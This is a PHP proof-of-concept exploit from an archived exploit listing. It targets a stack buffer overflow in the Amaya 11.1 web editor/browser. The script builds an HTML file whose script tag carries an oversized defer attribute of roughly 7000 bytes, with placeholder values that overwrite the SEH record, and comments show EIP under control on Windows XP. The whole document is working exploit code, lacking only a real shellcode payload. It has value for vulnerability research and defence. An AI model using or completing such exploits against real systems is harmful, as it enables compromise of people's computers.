<?php
/**//*
     Amaya 11.1 W3C's editor/browser
     Stack Owerflow POC
     Discover by Alfons Luja
     Thx : OiN
     select * from friends --
     This stUff overwrite SEH in my box XP home sp 2
     To correctly overwrite seh you must upload "remote_love.html" to remote server
     Amaya allow only printable shellcode in this case
     EAX:00000000
     ECX:43434343
     EDX:7C9037D8
     EBX:00000000
     ESP:0012DDD0
     EBP:0012DDF0
     ESI:00000000
     EDI:00000000
     EIP:43434343
*//**/
$junk = "\x41";
$n_seh = "\x42\x42\x42\x42";  //pointer to next seh
$h_seh = "\x43\x43\x43\x43";  //seh handler
for($i=1;$i<7000 - (4*19) - 10;$i++){ $junk.="\x41"; }
$junk.=$n_seh;
$junk.=$h_seh;
$hello = "<script defer=\"".$junk."\">";
$hnd = fopen("remote_love.html","w");
       if($hnd){
          fputs($hnd,$hello);
          fclose($hnd);
          echo"DONE !!\n";
       } else {
          echo"Kupa !!\n";
       }
?>
# milw0rm.com [2009-03-30]